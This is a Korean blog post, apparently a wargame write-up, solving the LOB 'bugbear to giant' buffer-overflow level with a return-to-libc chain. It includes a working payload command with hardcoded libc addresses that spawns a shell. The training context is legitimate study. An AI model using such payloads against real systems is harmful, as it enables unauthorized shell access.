BOF redhat 원정대 bugbear -> gaint
gaint, gaint.c
코드를 보면 argv를 받고 라이브러리 주소와 함수의 오프셋값을 이용해서 execve함수의 주소값을 저장해 놓는다. 그리고 argv에서 44번째부터 4개가 execve함수의 주소가 맞는지 검사를 한다.
입력값에 execve함수의 주소만 맞추어 프로그램 종료 루틴으로 들어가지만 않게 되면 이전 문제에서 사용하였던 오메가 공격을 할 수 있다.
gdb로 execve 함수의 주소를 찾아보자.
execve, system함수의 주소를 찾았다. execve 함수를 사용하여 쉘을 실행하기엔 함수가 사용자 친화적이지 않기때문에 해줘야할 것이 많다. 그래서 system함수를 사용하여 쉘을 얻는 것이 쉽다.
페이로드는
[버퍼][SFP][RET]
[ 놉 ][execve][system][AAAA][bin/sh]
로 구성하고 공격을 수행하면
쉘을 얻을 수 있다.
쉘코드 :
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`"
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
sudo apt-get install xinetd /etc/xinetd/uaf service uaf { disable = no //실행할거면 no type = UNLISTED id = ua...
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
puts@plt + 0에 puts@plt + 6의 주소가 들어있어서 호출되면 puts@plt+6의 코드가 실행 puts@plt + 11 에서 점프하면 pushl, jmp로 분기된다. pushl로 GOT+4의 주소를 스택에 넣고 GOT+8의 주소로...
-
c로 작성된 python module 만들기 C로 작성된 함수를 파이썬에서 import 해서 사용하기 위해서는 C로 작성된 프로그램 코드를 파이썬이 import할 수 있는 라이브러리 파일로 변환해 주어야 한다. (ubuntu 환경에서 할거임) ...
-
이 자료는 우리가 KITRI (한국정보기술연구원) 침해대응 과정 중 수료 프로젝트로 진행했던 자료이다. 취약점을 분석해논 우리나라 자료가 거의 존재하지 않았기 때문에 어떻게 분석해야 하는지 매우 막막했다. 특히 3897 취약점은 인터넷 익...



환경변수 path에 /bin이 추가되있음에도 불구하고 execve() 함수의인자로 절대경로인 /bin/sh를 주는 이유는 execve()함수의 특성. system()는 sh만 인자로 줘도 실행된다.
답글삭제